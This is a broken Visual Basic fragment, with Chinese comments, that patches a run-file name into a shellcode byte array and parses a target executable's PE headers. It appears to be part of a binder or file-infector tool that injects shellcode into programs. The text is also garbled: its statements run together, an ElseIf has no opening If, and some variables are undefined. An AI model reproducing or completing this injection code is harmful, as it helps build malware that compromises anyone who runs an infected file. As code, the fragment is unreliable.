For j = 1 To Len(strRunFile) PatchCode(108 + j) = "&H" & Hex(Asc(Mid(strRunFile, j, 1))) Next If Len(strRunFile) <> 4 Then PatchCode(110 + Len(strRunFile)) = &H0
ElseIf Len(strRunFile) = 4 Then
PatchCode(113 + i) = "&H" & Hex(Asc(Mid(strRunFile, i, 1))) ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''修改Shellcode完毕,累死我了调试了N次,光发晕
ReDim PE(FileLen(strTargetFile) - 1) '重定义PE的大小 e_lfanew = ReadDword(&H3C&)
NumberOfSections = ReadWord(e_lfanew + 6)
If SizeOfOptionalHeader >= &H60& Then If NumberOfRvaAndSizes > (SizeOfOptionalHeader - &H60&) \ 8 Then NumberOfRvaAndSizes = (SizeOfOptionalHeader - &H60&) \ 8
NumberOfRvaAndSizes = NumberOfRvaAndSizes - 1 |